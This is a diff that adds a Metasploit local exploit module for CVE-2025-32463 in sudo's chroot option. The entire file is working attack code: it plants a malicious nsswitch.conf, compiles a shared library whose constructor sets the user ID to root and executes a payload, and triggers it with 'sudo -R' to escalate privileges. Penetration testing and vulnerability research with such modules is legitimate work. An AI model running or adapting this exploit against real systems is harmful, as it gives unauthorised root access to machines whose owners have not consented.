|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = NormalRanking |
| 8 | + |
| 9 | + include Msf::Post::Linux::Priv |
| 10 | + include Msf::Post::Linux::System |
| 11 | + include Msf::Post::Linux::Compile |
| 12 | + include Msf::Post::Linux::Packages |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + prepend Msf::Exploit::Remote::AutoCheck |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super( |
| 20 | + update_info( |
| 21 | + info, |
| 22 | + 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', |
| 23 | + 'Description' => %q{ |
| 24 | + Sudo before version 1.19.17p1 allows user to use `chroot` option, when |
| 25 | + executing command. The option is intended to run a command with |
| 26 | + user-selected root directory (if sudoers file allow it). Change in version |
| 27 | + 1.9.14 allows resolving paths via `chroot` using user-specified root |
| 28 | + directory when sudoers is still evaluating. |
| 29 | + This allows the attacker to trick Sudo into loading arbitrary shared object, |
| 30 | + thus resulting in a privilege escalation. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + |
| 34 | + 'Author' => [ |
| 35 | + 'msutovsky-r7', # module dev |
| 36 | + 'Stratascale', # poc dev |
| 37 | + 'Rich Mirch' # security research |
| 38 | + ], |
| 39 | + 'Platform' => [ 'linux' ], |
| 40 | + |
| 41 | + 'Arch' => [ ARCH_CMD ], |
| 42 | + |
| 43 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 44 | + |
| 45 | + 'Targets' => [[ 'Auto', {} ]], |
| 46 | + |
| 47 | + 'Privileged' => true, |
| 48 | + |
| 49 | + 'References' => [ |
| 50 | + [ 'EDB', '52352' ], |
| 51 | + [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'], |
| 52 | + [ 'CVE', '2025-32463'] |
| 53 | + ], |
| 54 | + 'DisclosureDate' => '2025-06-30', |
| 55 | + |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + |
| 58 | + 'Notes' => { |
| 59 | + 'Stability' => [CRASH_SAFE], |
| 60 | + 'Reliability' => [REPEATABLE_SESSION], |
| 61 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
| 62 | + } |
| 63 | + ) |
| 64 | + ) |
| 65 | + |
| 66 | + # force exploit is used to bypass the check command results |
| 67 | + register_advanced_options [ |
| 68 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), |
| 69 | + ] |
| 70 | + end |
| 71 | + |
| 72 | + # borrowed from exploits/linux/local/sudo_baron_samedit.rb |
| 73 | + def get_version |
| 74 | + versions = {} |
| 75 | + output = cmd_exec('sudo --version') |
| 76 | + if output |
| 77 | + version = output.split("\n").first.split(' ').last |
| 78 | + versions[:sudo] = version if version =~ /^\d/ |
| 79 | + end |
| 80 | + versions[:sudo].gsub(/p/, '.') |
| 81 | + end |
| 82 | + |
| 83 | + def check |
| 84 | + sudo_version = installed_package_version('sudo') || get_version |
| 85 | + |
| 86 | + return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank? |
| 87 | + |
| 88 | + return CheckCode::Safe if !file?('/etc/nsswitch.conf') |
| 89 | + |
| 90 | + return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) |
| 91 | + |
| 92 | + CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") |
| 93 | + end |
| 94 | + |
| 95 | + def exploit |
| 96 | + # Check if we're already root |
| 97 | + if !datastore['ForceExploit'] && is_root? |
| 98 | + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' |
| 99 | + end |
| 100 | + |
| 101 | + # needs to compile in real-time to adjust payload execution path |
| 102 | + fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? |
| 103 | + |
| 104 | + payload_file = rand_text_alphanumeric(5..10) |
| 105 | + |
| 106 | + existing_shell = cmd_exec('echo $0 || echo ${SHELL}') |
| 107 | + |
| 108 | + return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) |
| 109 | + |
| 110 | + upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") |
| 111 | + |
| 112 | + register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") |
| 113 | + |
| 114 | + temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}" |
| 115 | + |
| 116 | + base_dir = rand_text_alphanumeric(5..10) |
| 117 | + |
| 118 | + lib_filename = rand_text_alphanumeric(5..10) |
| 119 | + |
| 120 | + mkdir(temp_dir) |
| 121 | + |
| 122 | + cd(temp_dir) |
| 123 | + |
| 124 | + mkdir(base_dir.to_s) |
| 125 | + |
| 126 | + mkdir("#{base_dir}/etc") |
| 127 | + |
| 128 | + mkdir('libnss_') |
| 129 | + |
| 130 | + return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") |
| 131 | + |
| 132 | + return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") |
| 133 | + |
| 134 | + exploit_code = %< |
| 135 | + #include <unistd.h> |
| 136 | +
|
| 137 | + __attribute__((constructor)) |
| 138 | + void exploit(void) { |
| 139 | + setreuid(0,0); |
| 140 | + execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); |
| 141 | +
|
| 142 | + }> |
| 143 | + |
| 144 | + upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") |
| 145 | + |
| 146 | + cmd_exec("sudo -R #{base_dir} #{base_dir}") |
| 147 | + |
| 148 | + timeout = 30 |
| 149 | + print_status 'Launching exploit...' |
| 150 | + output = cmd_exec 'command', nil, timeout |
| 151 | + output.each_line { |line| vprint_status line.chomp } |
| 152 | + end |
| 153 | +end |
0 commit comments